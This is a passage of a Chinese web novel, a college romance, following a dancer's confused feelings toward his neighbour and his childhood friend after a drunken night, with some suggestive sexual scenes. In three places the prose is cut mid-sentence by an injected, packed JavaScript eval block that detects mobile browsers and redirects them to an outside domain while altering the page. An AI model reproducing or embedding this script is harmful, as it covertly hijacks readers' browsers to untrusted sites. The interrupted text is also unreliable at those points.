他应了声“好”,翻身下床时注意到床边只有一双拖鞋,拖鞋的表面泛着崭新的光,说明这是一双新鞋。 拖鞋上的图案还是一只卡通猫。 他走到卫生间准备洗漱,嘴皮动动刚想问有没有新的牙刷,在这瞬间瞥到了洗漱台上摆着一根未拆封的牙刷。 他拆开用热水冲洗后开始用,也没怀疑他手里的和牙刷杯里摆的那根颜色刚好相配。 刷完上排牙,夏洄盯着镜子里的自己,这一秒他终于反应过来哪里不对劲了。 不对,他家不就在对面吗,回家洗更方便啊!还省了根牙刷! 不过刷都刷了,继续刷下排牙。 他刷牙后洗脸,镜子里他脸上沾着水珠,他凑近点,发现锁骨有点红,蚊子咬的? 路柏言给他买的是楼下的三鲜粉。夏洄一坐下,筷子都拆开递到了手上。 他捏着筷子刚想吃,看着三鲜粉,微拧眉,讶异又疑惑: “我之前和你说过我三鲜粉不要香肠不要青菜不要鹌鹑蛋?” 路柏言承认他一不小心体贴细腻过头,要暴露阴暗偷窥多年的本性了。 还好夏洄真饿了,没空关心这个问题,反正面前就是他最常吃的三鲜粉配置。 他吃了一口,楼下的汤粉就是好吃,他不禁对路柏言竖大拇指表扬,“你好棒,好会买。” 这句话让路柏言想起昨晚在海水里的一些片段。他喉结滑动,不自然地咳嗽掩饰,并喝了一大口水。 仰头喝水时盯着夏洄锁骨上的那片红。 他吸出来的。 现在早上七点半,夏洄今天有第一节课,八点半开始。 路柏言也有。 他以最快速度干掉汤粉,回家换掉睡衣,还给路柏言,然后两个人在小区楼下各自扫了一辆共享单车。 在等红绿灯时,夏洄盯着一秒少一秒的倒计时,路柏言在他旁边招惹存在感似的拨了下车铃。 夏洄看过去,路柏言面对的是日光照过来的地方。他突然发现路柏言高眉深目,鼻梁挺拔,所以阳光落在他的脸上形成了立体的光与影。 夏洄盯的时间有点久,有点专注。路柏言狠狠摸了把脸,刚才有个飞虫往他脸上停,他拍了下,不知道他脸上是不是成了这只飞虫的停尸场了。 在他的印象中,夏洄时常看着他眼睛和他说话,刚开始他会被这直白的视线弄得耳朵悄红,后来发现夏洄不论对谁说话都是看着对方眼睛,视线直白。 夏洄不至于现在发现他长得好看。迎新晚会那天在音乐教室外的过道打量他那么久,结果连他是谁都没想起来。 夏洄视线依旧直白,用词也是:“突然发现你比我印象中的还要好看些。” 没想到夏洄此刻打量他这么久真是觉得他好看。 路柏言咧嘴笑,顾放在场的话会觉得他逼格拉满的好哥们第一次笑得这么憨。 “没骗我?” 路柏言听得很清楚了,还不确定地问一下。 夏洄想起路柏言之前是演讲比赛冠军,辩论赛最佳辩手,原来这么没自信的么? 这等相貌,从小到大应该没少人夸吧,不缺他这一句。 “我没必要骗你啊,”他们车把几乎挨到一起,夏洄轻轻撞了下路柏言的车把,不禁笑这副模样的路柏言,“绿灯了,走啦。” 到学校教学楼下,夏洄弯腰锁车,起来时差点撞到路柏言。 又靠得很近,像上次不小心亲到流鼻血一样。 也和上次一样,路柏言现在的心情似乎格外好。 上次是什么原因心情好忘记了。今天可能是因为骑自行车上学产生了多巴胺和内啡肽。他现在心情也轻松愉悦。 “问一件事,”路柏言没个正形歪在旁边的墙上,吊儿郎当的散漫动作给人感觉他此刻春风得意。 宽阔的肩朝夏洄压过来,很近的距离,在夏洄直白的对视中,期待又有些羞涩地继续说,“……下午我打辩论赛,你能赏脸来看么?” 这个词用得有点奇怪,夏洄感觉自己也不是身份尊贵的人,不过他还是如实回答:“我去不了。” 要和老师编排参赛舞蹈,还要筹备校庆表演。 路柏言眼里那期待的光唰地灭了。 昨晚亲了吸了抱在一起睡了。 还以为突然夸他好看是对他有好感了。 高中有次夏洄推掉了舞蹈排练,因为答应了贺铭非去看他篮球赛。 他低头沉闷嗯声:“……也没事。” “Oi!柏言!” 有人往这边跑来。 夏洄和路柏言说:“那我先走了。” 那人跑过来,他视力超好,不远处刚看见路柏言笑得挺灿烂,走近一看,嚯,像是失恋了一样。 “你也喜欢夏洄学长啊,对他表白被拒绝了吗?” 这人抬手拍拍路柏言的肩膀,很尴尬,因为他身高一米七出头,压根拍不到。 “其实这也很正常,人家毕竟还有个长得不赖,现在又是学生会会长的竹马。 虽然你条件很优秀,但就是比别人晚来几年嘛,班长就你这条件何必单恋一根草啊,咱们直男率最高的计算机院还有几个gay暗恋你呢。” 路柏言拍拍他的肩,表情悲怆:“哥们你等会儿把他们的名字都给我写下来,我以后避开他们。” 这人点点头,路柏言军训时牺牲自我,为同学争取休息时间,现在等同于学院的男菩萨,不卖人情说不过去。 - 夏洄到了舞蹈教室,魔鬼老师正在一个个称体重。 同学一个接一个站上体重秤,端着体重记录册的老师眼神往下一瞥,写下了那个数字。 所有人上来,老师都是同一个表情,不管是胖了还是瘦了,嘴角平直,无悲无喜,可这样更让人捉摸不透心思地害怕,尤其是那些相比上一次胖了好几斤的人,吞咽口水,不敢和老师对视。 教室里弥漫着集体看恐怖禁片的气息,沉寂屏息,生怕被鬼突脸。 夏洄在门口换鞋,脱掉外套。老师的眼神从他脸上停留几秒,而后划到了她脚边的体重秤。 夏洄抬脚慢慢走过去,第一次对称体重这件事感到紧张。过去几年他的体重从没出现问题。 老师看他脸的眼神,恐怕早有心理准备,他不称也看得出胖了不少。 双脚站上去,夏洄低头看着那个跳跃的数字最后平定下来: 63.1kg 老师没说话,夏洄能感觉到老师看了他一眼,然后在一个月前记录的“60kg”旁边写下现在的体重。 按照舞蹈专业标准体重,夏洄目前甚至有些偏瘦。不过按照这个体重增长的趋势下去可不好。 一上午的课夏洄心烦意乱。他想到好多事情。 爸妈双双出轨,目前是为了家族的颜面瞒着所有人,他却不小心知道了。他爸还有个私生子。很快这个家就要散了,他要去哪里? 昨天在贺家的宴会上,他无意听到了有人在问贺爷爷,他小孙子现在在哪里的空军学院就读。 贺爷爷尴尬地笑了笑,说没读,读的计算机专业。问的人脸色震惊。因为这对爷孙以前把空军挂在嘴边,贺铭非从小便注重体能训练,还跟着爷爷参观了空军基地。 所以他从宴会上逃跑了。虽然他知道没有人会说是他的错。但没说不意味着没这么想。 他的体重再这么下去,他得和现在胖了20斤的裴晓培一样。他还没有裴晓培心态好,如果真到了那天,体重怎么也控制不住,他绝对会抑郁。 上一届有位学长就是因为网恋被骗,体重一去不复返,无法参加任何比赛,最后休学了。 中午下课,夏洄没心思去食堂,点了份牛肉蔬菜沙拉,独自在艺术楼的休息室吃饭。 贺铭非给他打电话,邀他去食堂吃饭,他没什么心情地拒绝掉了。 结果贺铭非直接来休息室找他了。 夏洄坐在玻璃窗前的餐桌上,一边出神地望着窗外操场结伴而去食堂的人流,他们有说有笑,脸上洋溢着灿烂的欢乐,一边机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749423|174267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 械地往嘴里塞西兰花。 阴天没什么温度的日光打在他脸上,他整个人情绪呆滞。 贺铭非拧眉,昨晚夏洄不告而别,他们怎么也找不到人,电话也打不通。 今早爷爷和他说,昨晚有个远房亲戚提到了他立志当飞行员的事。会不会是夏洄听到了然后难过离开了。 夏洄对这件事很敏感。好不容易让他不那么愧疚,结果又想起来了。 当年他和爷爷还安慰他,安慰自己,因为有的飞行员可以有伤疤,先去体检看看。可惜最后体检不通过,说是伤疤过于明显。 “溯宝。” 夏洄回头,看见是贺铭非,嘴角僵硬地牵出笑来。 贺铭非在他旁边坐下来,握着他手腕,“你昨晚去哪儿?我给你打了好多电话。心情不好吗?” “昨晚……我回家睡觉了。”夏洄不会说谎。他心发虚。他记得很清楚是和路柏言在看海喝酒,之后发生什么暂时想不起来了。 他不想说这件事。因为发小都知道他的,几乎不喝酒,一喝酒明显是有心事。 他不想倾诉心事。 “难怪气色好了很多。”贺铭非抬手在他脸上摸了下。 夏洄觉得他眼睛或许有些问题。他早上频频出神的精神状态明明很堪忧。 难道是他昨晚喝醉了在路柏言家里睡觉,没有失眠的缘故,所以气色好了很多? 他换了个话题,直接问贺铭非来找他做什么。 “我担心你。” 夏洄点点头:“你不说我气色挺好的么,没什么好担心的。” 贺铭非嘴角牵起,笑得不是很轻松。 是个人都看得出夏洄忧心忡忡。不过他知道夏洄不习惯说出内心的柔软脆弱。 问了他也会避开,说,不准问。 他问夏洄,本科毕业后还要去E国留学吗?夏洄高中就有这个打算。 如果父母在这几年离婚,那么姑姑一家是夏洄唯一的家人了。 他保守地说:“目前还是这个计划。” 贺铭非:“那我们一起去!” 夏洄眼睛睁大:“你去年不是说保研实习然后毕业进大厂么?” 在他的印象里,贺铭非是个计划性很强的人。所以当他打破发小的人生计划时,他很难不愧疚。 “你之前不是答应要和我永远在一起么?” 贺铭非毫无预兆弯腰抱住了夏洄。 夏洄迟疑地接受了这个拥抱。 他是答应过。当贺铭非飞行员梦想彻底破灭的那天。 - 下午需要和老师编舞。夏洄逼自己拿出最好的状态,不能像上午频频走神。 老师却看出他凭一口气撑着,因为唇色发白,眼里无光。 “没睡好?”老师没有开始编舞,把夏洄拉到软垫上,两个人坐下来,“艺术创作最需要灵感和状态,你下午回去休息吧,明天再过来,不要着急,我们有时间。” 老师并不担心进度会延误,因为夏洄以前都很拼,每个休息日都会过来自己排练。 夏洄心口流淌暖流。他小时候生病受伤或心情不好时,他妈总是一副淡淡的表情,说,“你是男生,自己解决一下,下次不要和我说了。” 于是他慢慢习惯了自己想办法解决问题,而不是寻求外界帮助。 他知道他被自己的母亲灌输了一种倾诉等于示弱,示弱等于不是男人的病态想法。 可十几年的思想钢-印抹不掉了。 他不想让人知道他得了渴肤症,他可以想办法在别人发现前解决掉。 “老师,我可以抱你一下么?” “突然煽情起来做什么,真是的,我一把年纪了,”老师抱住了夏洄,拍拍他的脊背,“好了,没事的,老师学生时代也有心情不好体重多变的时候,回去睡一觉就好了。” 夏洄走出了艺术楼,往校门口走去。他打算回家睡觉。希望明天满血复活。 在路上迎面有两个女生走过来,她们似乎在说什么辩论赛。 她们看到了夏洄,学校里没人不知道这位出身艺术世家,姐姐是影视明星,自己也很耀眼的同学。 她们想主动打招呼,又怕对方反应淡淡的,比较尴尬。 本来想就这么走过去,没想到夏洄走向她们,颇为礼貌地问辩论赛几点在哪里开始。 既然没有排练,辩论赛就一两个小时。他可以看完再回家睡觉。 19. 前奏 第19章 夏洄到达辩论赛现场时,比赛已经开始了一段时间。 站在后门放眼望去,几乎没有空余的座位。 他对辩论赛没兴趣,去年轮学号轮到他被抓壮丁,正好听的就是一场辩论赛,刚开始没多久他就撑着胳膊睡着了,最后连那天的辩题是什么都不知道。 第二排末尾还有个位置,夏洄弯着腰过去,问了旁边的人,那人说这里没人。他就坐下来了。 台上的正反方队伍成斜对向而坐。夏洄这个角度一眼就能看见路柏言,路柏言正垂眸看着桌面,并没有看到他。 路柏言是反方二辩。 夏洄对这场辩论赛有了些兴趣,他抬头看向大屏幕的标题,是这次辩论的话题:爱情应追求永恒,还是珍惜当下? 当然是珍惜当下,因为什么时候死了都不知道。夏洄简单粗暴地想。 现在是正方二辩发言。大屏幕上有个倒计时,每个人三分钟发言时间。 “……追求永恒是爱情最崇高的冲动,当你对恋人说‘我爱你’,难道你的潜台词不是希望成为对方的唯一?希望和对方共度此生吗……” 听到这里,夏洄意识到他理解错这个辩题了。他下意识选择了珍惜当下,因为他赞同珍惜时间,当下永远是最值得把握的。 其实他也赞同爱情的永恒与唯一。 如果他谈恋爱,追求的也是永远在一起,对方敢欺骗他或者对他不忠诚,那对方就死定了。 难怪他对辩论赛一直没兴趣。两个辩题让他难以取舍,他很难有定力完全只赞同其中一个观点,而不为之摇摆。 三分钟时间到,正方二辩发言完毕坐下。 主持人简短感谢其发言后说:“下面我们来看一看反方的二辩路柏言同学是如何反驳正方观点的。” 夏洄坐直了脊背,看见路柏言在他视线里站起来。 路柏言眉骨高而深邃,他站起来看着虚空中的某个点,找不到他视线聚焦的地方,这或许是他看上去游刃有余,丝毫不紧张的方法。 他眼型狭长,眼眸是最深沉的黑,此刻的他锋芒毕露,冷淡而锐利。 夏洄看着这样淡然禁欲的路柏言,脑子一痛,想起来昨晚的一些片段: 他和路柏言在海水里相拥,他腿夹-紧路柏言的腰,往后仰着,让脖颈充分暴露出来,好让那湿-热的唇-舌弄得更-深。 他揪着路柏言被海水打湿的发梢,放浪形骸地夸赞对方:“你好棒,好会舔。” 观众席突然有个人抱头把自己埋起来,这个人就是夏洄。 清冷有力的反驳词在他耳边挥之不去: “对方辩友将永恒视为爱情唯一的目标和终点。”喉结随着路柏言淡然沉冷的发言而滚动,“然而永恒是个无法确定的概念,它的出现映射人内心深处对确定和掌控的向往。执着于遥不可及的永远,往往会产生焦虑和恐惧,束缚与占有,这并不是美好爱情本身的需求……” 夏洄重新抬起头,他脸可能有点红了。 这时台上出了点小状况,咄咄逼人的路柏言似乎顿了一下。 路柏言看到坐在第二排末尾的夏洄了。 但没时间给他乱了心绪,他在打比赛,团队比赛,因为个人原因让团队输掉的事他可干不出来。 于是他继续用沉稳有力的嗓音陈述完了自己的反驳词。 一小时后,这场辩论赛结束。正方获胜,最佳辩手是正方的三辩,他是法学院大三学生,打过几十场辩论赛,反应速度很快,博览群书,引经据典,在自由辩论里多次力挽狂澜,最后赢了。 观众纷纷离开现场,夏洄逆流而行,来到阶梯处等路柏言。 路柏言看到他了,嘴角翘起,迫不及待想过去。 这时最佳辩手走过来,和路柏言握手。 他看着路柏言的脸色,又看向不远处的夏洄,他知道夏洄。 他笑着说:“刚才你还笑,怎么见到我就一副我欠你钱不还的模样。” 耽误和夏洄相处的时间,路柏言自然脸色不好。 不过对方是学长,刚才的辩论确实精彩。路柏言神情缓和了些,问对方有什么事。 学长挂着谦和的笑,“赛前为了研究你们,我看了你高二最佳辩手的那次辩论赛,印象很深刻,实至名归。不过感觉你今天发挥得不太好,是不是对这个辩题有天然的倾向,无法说服自己?” 不确定夏洄会不会听见,路柏言贯彻自己温柔细腻的人设,假装听不懂学长的话。 “比赛结束了还研究对手么学长,再说了我们下次不一定是对手。” 学长顺着话题往下说:“那最好不过了,我是辩论社的现任社长,有兴趣加入辩论社吗?” 时间耽误得太久了,路柏言不敢让夏洄等,摇摇手机,意思是微信聊。 不等学长回复,他奔向了在阶梯处等待的夏洄。 学长看到这一幕,脸上露出姨母笑。 ——感觉这位学弟在爱情里既追求永恒,又是珍惜当下。 这或许是爱情的最优解。 路柏言来到夏洄面前,主动解释:“学长找我问辩论社的事情,耽误得有点久了。” 夏洄有些怀疑,看了眼手机:“也不是很久,我一首歌还没听完。” 周围没人了,夏洄眼睫低垂,那句“你好棒,好会舔”在反复鞭挞他自以为清晰的自我认知。 他从小到大哪里说过这种尺度的浪语。这真的是他说的吗? 酒后犯错是真的。说不定再来两瓶酒,他能翻身骑着路柏言动。 他现在需要确认昨晚有没有给既是邻居又是朋友的路柏言造成心理阴影,比如他原来是个道貌岸然的变态之类的。 “昨天晚上……” “你夸我好棒,说喜欢我。” 路柏言说完,脊背弯曲朝夏洄倾身而下,一瞬不瞬盯着他,漆黑瞳仁里开出了狡黠的笑意,悠然自在的模样,似乎想看他如何回应。 夏洄浅蓝色瞳仁放大,单纯而直白地讶异道,“我居然喜欢你吗?” 路柏言眼里闪过凌厉,嘴角往下撇,更多的是难以名状的酸涩。 “……居然?”他嗓音冷硬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749424|174267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏洄没察觉到他的情绪,“我的意思是我居然有喜欢的人。” 路柏言体验了一把心情过山车,实际上他在夏洄这里每天都能体会到,心脏不属于自己是种什么体验。 他眉梢挑起愉悦的弧度,“意思是你不喜欢贺铭非?” 夏洄却沉默了,“刚才正方辩手有提到喜欢是想和对方永远在一起,这就是爱情。” 他赞同这个观点。所以他答应和贺铭非永远在一起……是爱情? 路柏言微眯眼睛,双手把着夏洄的肩膀,眼神变成犀利的审视,“明确一件事,你是因为喜欢还是愧疚。” 夏洄低眸不语。 脑子要炸了,最近太多事情挤在一起,像是京州春季挥之不去,令他过敏的杨絮,弄得他眼睛鼻子嘴巴到处痒。 他想让它们顷刻消灭,却捉襟见肘。 不过他从中找出了最关键最重要的事——他得尽快稳定自己的状态,稳住内核,这样才能用最好的状态参加以后的比赛,才能让自己的学业圆满。 渴肤症频繁,他要找个固定的人拥抱拉手。 这个家结局怎么样,是未来不确定的事。贺铭非无法当飞行员,这是已经过去的事,事实就摆在那儿了,不可能一下子弥补起来。 指头深深陷进掌心,疼痛感让夏洄冷静下来。 路柏言垂眼看着他,冷寂的眼眸里翻滚着阴暗的潮热。 他不知道夏洄这段时间的沉默在想什么,哪怕夏洄现在就下这场赌局的判定,说他输了,这对他的人生计划丝毫没有影响。 这么多年他一步步爬到今天能够和喜欢的人面对面聊天,住在他对面,可不是为了听这句话的。 输的人孤老一生,他还很年轻,还有很多很多年。 这对竹马感情再好,总有异地吵架的时候,他永远盯着等着,趁虚而入,当三当狗,一时寻欢作乐,随意抛弃,践踏羞辱,只要是夏洄,他都十分乐意。 夏洄长呼一口气,他很感谢这段混沌时期能出现路柏言这样温柔细腻,无时无刻不在关心他体贴他的邻居和朋友。 路柏言就像是他最喜欢的晴天,总能给他带来能量。 被勾着脖子抱住的那刻,路柏言眼瞳放大,仿佛阴湿角落处的苔藓毫无预兆被掀开了遮盖,阳光照进来,一时间不太习惯。 喜欢的少年好像很信任他了,垫着脚脸埋进他的脖颈,说话时呼吸喷洒在他皮肤上,他想起了昨晚的旖旎,食髓知味般喉结滑动。 夏洄轻声细语,话却很有分量:“这个问题我会尽快确定答案的。” 还在他颈间蹭蹭,猫似的嗅他的气息,同样轻声细语,“我真的说了我喜欢你么?” 路柏言头皮发麻,喉头紧涩,“……我开玩笑的。” 他从没打算对夏洄说谎。凭他多年对夏洄的观察,夏洄不会喜欢欺骗。 这下夏洄是真搞不懂到底是不是玩笑了。 因为他可能会在某种情况下对路柏言说这种话,毕竟都夸他好棒好会舔了:) 不过路柏言对他还是挺诚实的。 20. 告白 第20章 辩论赛结束后路柏言还要回去上课。大一新生就是如此忙碌。 夏洄和他在报告厅楼外分别,路柏言说晚上回家再见。夏洄有气无力笑了,说不定他可以一觉睡到天亮。 “等一下。” 夏洄走出去一段路,路柏言追上来,把什么东西塞进他手心。 摊开一看,是一粒奶糖。 夏洄没有多想,只当路柏言分享他喜欢的东西。他撕开包装,扔进了嘴里,垃圾塞进兜里,对路柏言挥挥手再见。 夏洄唇色发白,路柏言其实挺担心他半道上低血糖晕倒。 直到确认夏洄上了出租车,车尾消失在街角,路柏言才转身离去。 - 夏洄回家洗了个澡后大睡特睡,下午四点到家的,醒来时外面黑漆漆的。他却听到了似有若无的猫叫。 格外熟悉的叫唤声。 他朝床边的开关处伸长手,灯开的瞬间,贝宝蹲在床尾“回眸一笑”地看着他。 真的是回眸,嘴角勾着奇异迷幻的微笑,像是某个表情包。 夏洄胆小,即使是他格外喜欢的贝宝,此刻突然冒出来,也让他吓到了,他拍拍胸脯。 贝宝跳过来,钻进了夏洄的怀里,似是求原谅地蹭他的胸口。 夏洄搂着他,摸出手机点开路柏言的微信,只能单手所以发了语音。 他说:“……贝宝怎么跑我床上来了。” 他卧室的门明明关了。 除非是从阳台跳过来的。夏洄去看了一眼,这一看惊讶了,他家和路柏言家阳台居然就隔着一个平台。 上面有一棵矮盆栽,人两只脚都能走过去,不过要小心别滑下去,不然就会从7楼摔下去。 他拍下了这个阳台,给路柏言发过去,新加条语音:“下次记得关好卧室的落地窗。” 他抱着贝宝,低头给他做思想工作: “宝宝下次别跳过来了,好危险,我知道你肯定经常想我,想我的话就和你爸爸说,让他带你来找我,嗯?听懂了就喵。” 不管听没听懂,贝宝:“喵喵喵。” 路柏言给他拨了语音通话,他在洗澡,夏洄接起来听到了哗啦啦的冲淋。 夏洄感到有趣:“我那么重要吗,洗澡还给我打?” “我每次不都秒回你么?”路柏言的笑夹杂在嘈杂的水声中,挺清晰低沉的笑,“现在在洗澡,手腾不开,就只能这样了。” 夏洄习惯了在别人那里处于重要地位,一时间并没感到有哪里不对。 他在撸猫,手机放在一边开免提,冲洗声在床上涤荡开来,夏洄不自觉想到此刻路柏言是光着身子的,水珠顺着他宽肩窄腰往下流,滚出大腿肌肉的线条,路柏言的大腿肌肉该是和手臂肌肉一样发达流畅。 他小腿内侧此刻似乎还残留夹紧路柏言大腿往后仰,整个重心倚在路柏言腰身的感觉。 他下颌抵在猫脑袋上,轻轻的,重心放在身后撑着床的右手。 他轻轻问,也不管路柏言那边能不能听见:“昨天晚上我对你,或者我们干了什么吗?” 路柏言听见了,因为他把扬声器音量开到最大,手机插在墙上的透明袋里,他提前准备的,防止夏洄冷不丁给他打电话,而他在洗澡。 他怕错过了,原本想和他分享什么事的夏洄就不想和他说了。 路柏言:“终于想起来了啊,我还以为你像以前一样略过不提,吃完不负责。” 夏洄没注意“像以前一样略过不提”,他抓着后面几个字不放。因为今早他是在路柏言床上醒来的。 “我们做了吗?可是我没感觉,还是说……呃,你很细——” 路柏言大声制止这个误会:“不!我一点都不!” 浴室里路柏言脚底差点打滑,叹口气,夏洄不仅眼神直白,说话也是。 不过这样有个好处,说明夏洄不会玩心眼,心里想什么他就说什么。 所以以前的很多事是误会咯? 粗细什么的也没亲眼看到过,夏洄迟疑地应下来,“嗯,那我们做了吗?” 路柏言把花洒关了,呼吸似是叹气,“你喝醉了,我怎么可能趁人之危。” 夏洄问这句话,是因为他突然记起来,他跌倒在了路柏言的床上,然后解开自己衣衫的前排扣,挺着胸把自己送到路柏言面前,让他再好好吃一吃。 然后路柏言按着他的后脖颈,让他埋进松软的枕头里,摁着他的脊背,像是不想看见他,动作颇为粗暴地替他换了睡衣,又把他翻过来,让他乖乖睡觉。 想到路柏言打辩论赛时,削薄的唇,清冷有力而咄咄逼人的强势姿态,夏洄此刻的内心:“……” 温柔体贴的好邻居也是有底线的,吃脖子可以帮忙,脖子以下不可以。 夏洄唇紧抿,而后说了抱歉和谢谢。 谢谢路柏言在他渴肤症低迷时帮助他,抱歉过于变态把人吓到了。 “……”路柏言有时候很难跟上夏洄的脑回路,他一直以为夏洄其实什么都懂,只是不想面对和答复,现在感觉不是这样。 没有得到及时的回答,气氛些许尴尬,夏洄忙说,“你先洗澡吧。”然后挂掉了电话。 贝宝在床边舔一根猫条,夏洄成大字躺在床上,出神地望着天花板,思绪飘荡。 天花板上出现了一架天平,一边是认识十年的发小,一边是认识不到一个月的邻居。 老是找不同的人拥抱拉手会引起怀疑,他得固定人选,可以说想和对方谈恋爱,这样频繁贴贴黏在一起就不会有问题。 他和贺铭非拥抱牵手过。 他和路柏言没牵过手,但拥抱过。他亲过路柏言额头,两次。还让他吃脖子,但引诱吃-胸未遂。 这样看来,他更倾向于和路柏言的身体接触。 可他要是以后和路柏言走得很近,贺铭非对路柏言的印象不太好。按照贺铭非的脾气,估计会质问他,不是说好了要和他永远在一起吗。 问题来了,他要明确这个永远在一起,是爱情还是友情。 假设贺铭非喜欢他,那这就是爱情。 要不试探一下?可怎么试探啊,他又没谈过恋爱,从小只会吸引奇怪的变态。 他摸到了手机,微信聊天列表比较靠前的是裴晓培。下午睡觉时给他发消息说他前阵子又恋爱了,现在体重慢慢减下来了。 可喜可贺。好心态决定男人的一生。 -AAA柠檬批发商:你女朋友是你学校的么? 裴晓培过了几分钟回复:啊?宝,认识这么多年,你不知道我是gay吗? -AAA柠檬批发商:你怎么突然弯了? -裴:我一直是弯的啊!你忘了高中我说你学校那个体育生保准喜欢你,你当时问我为什么,我说同类的直觉,结果他第二天真给你表白了,然后被你淡淡地拒绝,一米八几的东北大高个当场就哭了。 -AAA柠檬批发商:……忘了。 他只记得对自己有用的事。 裴晓培习惯了,他问夏洄是不是有烦心事。因为这个开场白很烂。 夏洄还是没学会吐露心事,他回复:没事就问一下。 然后盯着那段东北体育生和他告白被拒后哭的文字。 告白是知道对方喜不喜欢自己的最好方式吧。 要是贺铭非拒绝了,那他可以遵守承诺,他们永远在一起当发小。 想通了这一点,夏洄天灵盖舒畅了,灵感大爆发,连夜构思下次比赛的idea,第二天兴致勃勃地拿给老师看。 老师大体上认可这个创意框架,给了几条细节修改建议,师生俩讨论了一上午,思想碰撞敲定下来最终方案。 老师说:“明天就开始吧,边排练边完善。” 夏洄重重地点头嗯声,嘴角不自觉翘起,外面是这段时间以来难得的艳阳天。 他点开手机,一小时前贺铭非给他发了几条微信,是周末去爬山放松的计划,是一份惊喜。 做得像一份计划书,里面列了出发前的物品准备,方方面面很详细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749425|174267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有些需要夏洄选择哪个更好的地方,总之夏洄只需要到场就可以。 连天文望远镜都准备了。 小时候姑姑给夏洄买了一颗星星后,夏洄就迷上了天文望远镜,很长一段时间就喜欢钻研星空,找那颗[溯宝星]。 他忘记现在已经放学很久了。他低头给贺铭非发消息,想约他见个面。 “这么认真做什么呢!” 贺铭非蓦地出现在身后,吓了夏洄一跳。 “原来是回我消息。”贺铭非咧着大白牙笑着。 他在夏洄坐的深绿色软垫上坐下来:“给我发消息想说啥,觉得我很暖心?”他笑着说。 夏洄压着腿坐不知不觉有点久了,此刻刚一动,麻得倒吸气,“等一下,我脚抽筋了。” 贺铭非之前为了准备飞行员,初一就开始体能训练,身体受伤抽筋是家常便饭的事。 他蹲下来,一手摁着夏洄的鞋尖,一手握着他踝骨,拉伸了几下,夏洄小腿就不麻了。 夏洄抱着那条腿放在肩上,贺铭非也不知道他腿怎么能弯到那个角度,不过也正常,夏洄还能下腰后把脑袋抵在地板折起来,他撞见过几次。 有一次夏洄是在家里,没穿舞蹈的练功服,下腰后t恤衣角往上,露出来一截薄韧的腰。 他很少晒太阳,皮肤白得有些病态。那天日光照进来,他肚脐都是粉色的。 贺铭非滚了滚喉结,而后听到夏洄状似闲聊般开口: “你有喜欢的人吗?” 夏洄直白地盯着贺铭非的眼睛看,他看见贺铭非听到这句话后,瞳孔急剧缩了下,还有些颤抖,不知是震惊还是害怕。 这回轮到夏洄瞳孔微缩了。 他突然想到一件事。 他没有设想如果贺铭非答应了他这个试探的告白,后面该怎么做啊! 他在这瞬间走马灯似的回忆中,确定了一件事:贺铭非从未拒绝过他。 “你……问这个做什么?” 贺铭非此刻更多的是震惊。 他以为夏洄起码会很晚很晚才有琢磨感情,谈恋爱的冲动。 他知道的,他竹马对待感情淡漠迟钝。这些年完全没想过恋爱的事,所有精力集中在学业上。 夏洄咬了下唇,口都开了,他不是拖沓的人,想要做的事情立马就要动手。 “……如果我喜欢你,你会和我在一起吗?” 说出来了。剩下的交给贺铭非去回答。如果真没拒绝,他好像也不是很抗拒只和发小拥抱牵手。 贺铭非顿住几秒,而后说:“我……是直男啊。” 十分艰难的几个字。但夏洄没注意到,在这一刻,他发现他心里像飞走了什么东西,变得没那么重了。 不过,虽然没期待过会答应,但被拒绝的感觉确实不好受。他从来没被拒绝过。 他眼睫微垂,沉默不语,看上去落寞难过。 贺铭非指骨狠狠攥紧。 再过两年,他和夏洄去E国留学,E国gay那么多,他到时候和夏洄告白,说自己被他掰弯了,就能顺理成章破掉今天这个谎言。 现在不行。就在他爷爷眼皮底下。 要是他对夏洄的心思暴露了,他爷爷指不定立马给他找个未婚妻,然后断绝他和夏洄的来往。 再等两年没事的,他和夏洄近十年都这样过来了。 夏洄说他还有事要先走,贺铭非抱住他,低头用指腹摸他的脸。 “我们的关系不会因为这几句话受影响的吧溯宝?” 夏洄点了点头。 发小关系当然不会有影响。 贺铭非走出艺术楼,拐进银杏树夹道时,斜前方的一棵树上倚着人影,是路柏言,似乎专门在等他。 路柏言双手插兜,嘴角噙着懒散的笑,甚至对他说中午好。 贺铭非觉得莫名其妙,“你有病?” 路柏言完全不在意,笑容更大了。 “谢谢你啊。” 贺铭非觉得他更有病了,被骂还说谢谢。 21. 撩拨 第21章 十几分钟前,路柏言收到了夏洄的微信。夏洄说他知道答案了,他对贺铭非不是喜欢。 其实贺铭非进艺术楼时,路柏言就在身后,他今天想找夏洄吃饭,没想到这么凑巧。 